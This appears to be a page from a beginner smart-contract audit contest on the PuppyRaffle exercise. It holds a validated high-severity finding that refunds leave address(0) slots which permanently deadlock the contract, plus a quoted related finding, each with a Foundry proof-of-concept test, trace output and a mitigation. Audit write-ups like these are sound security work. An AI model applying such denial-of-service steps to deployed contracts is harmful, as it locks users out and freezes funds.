Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Refunded players leave address(0) entries that permanently deadlock PuppyRaffle

angmarwitchking

Root + Impact

refund zeroes a player’s slot in place instead of removing it. The duplicate check in enterRaffle then compares these zeroed slots against each other.

Description

Once two players have refunded, the array holds two address(0) entries and the check evaluates require(address(0) != address(0)) --> require(false) --> revert. Every subsequent enterRaffle reverts with “PuppyRaffle: Duplicate player,” blocking all new entries. An attacker triggers this at near-zero cost: enter two controlled addresses (the contract explicitly permits multiple addresses for participation), then refund both — recovering the fees. If done while the round has fewer than four players, the contract is permanently deadlocked: enterRaffle reverts on the collision (so it can never reach the 4-player minimum), and selectWinner reverts on require(players.length >= 4) so it can never run to delete players and clear the zeroed slots). With no administrative reset, the only recovery is redeploying the contract.

// Player Slot Zeroed
players[playerIndex] = address(0);
​
// The Duplicate Check
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

Risk

Likelihood:

High. Requires only two entries and two refunds, costs effectively nothing (fees are recovered on refund), needs no special timing beyond acting early in a round — and the early-round window exists at deployment and after every selectWinner.

Impact:

High. A near-free, attacker-triggered, permanent denial of service that deadlocks the entire contract: neither entering nor resolving is possible, with no recovery path short of redeployment.

Proof of Concept

Drop into the test suite with prior setup function and constructor.

function test_refundAddressZeroCollisionDeadlock() public {
// attacker enters two controlled addresses as the only players
address attackerA = makeAddr("attackerA");
address attackerB = makeAddr("attackerB");
address[] memory entrants = new address[](2);
entrants[0] = attackerA;
entrants[1] = attackerB;
puppyRaffle.enterRaffle{value: entranceFee * 2}(entrants);
​
// refund both -> both slots become address(0)
uint256 idxA = puppyRaffle.getActivePlayerIndex(attackerA);
uint256 idxB = puppyRaffle.getActivePlayerIndex(attackerB);
vm.prank(attackerA);
puppyRaffle.refund(idxA);
vm.prank(attackerB);
puppyRaffle.refund(idxB);
​
// entry is now permanently bricked by the address(0) == address(0) collision
address victim = makeAddr("victim");
address[] memory victimEntry = new address[](1);
victimEntry[0] = victim;
vm.expectRevert("PuppyRaffle: Duplicate player");
puppyRaffle.enterRaffle{value: entranceFee}(victimEntry);
​
// and the round can never resolve to clear the array (fewer than 4 players)
vm.warp(block.timestamp + duration + 1);
vm.expectRevert("PuppyRaffle: Need at least 4 players");
puppyRaffle.selectWinner();
}
​
Ran 1 test for test/AddressCollision.t.sol:AddressCollisionTest
[PASS] test_refundAddressZeroCollisionDeadlock() (gas: 290503)
VM::addr(<pk>) [staticcall]
│ └─ ← [Return] victim: [0x131f15F1fD1024551542390614B6c7e210A911AF]
├─ [0] VM::label(victim: [0x131f15F1fD1024551542390614B6c7e210A911AF], "victim")
│ └─ ← [Return]
├─ [0] VM::expectRevert(PuppyRaffle: Duplicate player)
│ └─ ← [Return]
├─ [54528] PuppyRaffle::enterRaffle{value: 1000000000000000000}([0x131f15F1fD1024551542390614B6c7e210A911AF])
│ └─ ← [Revert] PuppyRaffle: Duplicate player
├─ [0] VM::warp(86402 [8.64e4])
│ └─ ← [Return]
├─ [0] VM::expectRevert(PuppyRaffle: Need at least 4 players)
│ └─ ← [Return]
├─ [23864] PuppyRaffle::selectWinner()
│ └─ ← [Revert] PuppyRaffle: Need at least 4 players
└─ ← [Stop]
​

Recommended Mitigation

Track participation with a mapping and clear it on refund, so no sentinel ever persists in the array:

mapping(address => bool) private s_hasEntered;
...
// in refund():
s_hasEntered[playerAddress] = false;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

## Description `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player. ## Vulnerability Details ```javascript players[playerIndex] = address(0); @> uint256 totalAmountCollected = players.length * entranceFee; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId); ``` If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has : ```javascript uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); ``` However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% ...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed. ```javascript _safeMint(winner, tokenId); ``` ## Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high ### Proof of concept To execute this test : forge test --mt testWinnerSelectionRevertsAfterExit -vvvv ```javascript function testWinnerSelectionRevertsAfterExit() public playersEntered { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); // There are four winners. Winner is last slot vm.prank(playerFour); puppyRaffle.refund(3); // reverts because out of Funds vm.expectRevert(); puppyRaffle.selectWinner(); vm.deal(address(puppyRaffle), 10 ether); vm.expectRevert("ERC721: mint to the zero address"); puppyRaffle.selectWinner(); } ``` ## Recommendations Delete the player index that has refunded. ```diff - players[playerIndex] = address(0); + players[playerIndex] = players[players.length - 1]; + players.pop() ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!